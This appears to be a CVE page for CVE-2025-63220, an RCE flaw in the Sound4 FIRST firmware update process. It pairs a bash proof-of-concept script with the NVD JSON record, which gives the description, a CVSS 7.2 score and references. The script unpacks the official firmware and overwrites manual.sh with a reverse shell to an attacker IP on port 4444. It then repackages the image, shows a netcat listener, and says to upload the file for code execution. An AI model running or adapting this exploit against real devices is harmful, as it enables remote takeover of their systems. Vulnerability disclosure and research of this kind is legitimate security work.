CVE-2025-63220

#!/bin/bash # CVE-2025-63220 PoC - Sound4 FIRST Malicious Firmware Update # This PoC demonstrates creating a malicious firmware package # Step 1: Download official firmware FIRMWARE_URL="https://www.sound4helpdesk.com/first-downloads/" ORIGINAL_FW="sound4_first_firmware.bin" # Step 2: Extract firmware contents mkdir -p firmware_extracted cd firmware_extracted # Assuming firmware is a tar.gz archive tar -xzf ../"$ORIGINAL_FW" # Step 3: Modify manual.sh to inject malicious commands cat > manual.sh << 'EOF' #!/bin/sh # Injected malicious code - reverse shell ATTACKER_IP="attacker_ip_here" ATTACKER_PORT="4444" /bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 # Original script content below # ... original manual.sh content ... EOF # Step 4: Repackage firmware tar -czf ../malicious_firmware.bin * # Step 5: Attacker listener (on attacker machine) # nc -lvnp 4444 echo "Malicious firmware created: malicious_firmware.bin" echo "Upload this file through the Sound4 FIRST web interface to trigger RCE"

{"cve": {"id": "CVE-2025-63220", "sourceIdentifier": "[email protected]", "published": "2025-11-19T16:15:48.040", "lastModified": "2026-01-08T16:44:36.513", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sound4 FIRST web-based management interface is vulnerable to Remote Code Execution (RCE) via a malicious firmware update package. The update mechanism fails to validate the integrity of manual.sh, allowing an attacker to inject arbitrary commands by modifying this script and repackaging the firmware."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-494"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sound4:first_firmware:2.33:*:*:*:*:*:*:*", "matchCriteriaId": "27E7505A-5C81-48E8-849A-5237736A57EF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sound4:first:-:*:*:*:*:*:*:*", "matchCriteriaId": "0ECA96F8-4038-4257-84DA-9D17BA0A9198"}]}]}], "references": [{"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-63220_Sound4%20FIRST%20RCE", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.sound4helpdesk.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.sound4helpdesk.com/first-downloads/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-63220_Sound4%20FIRST%20RCE", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}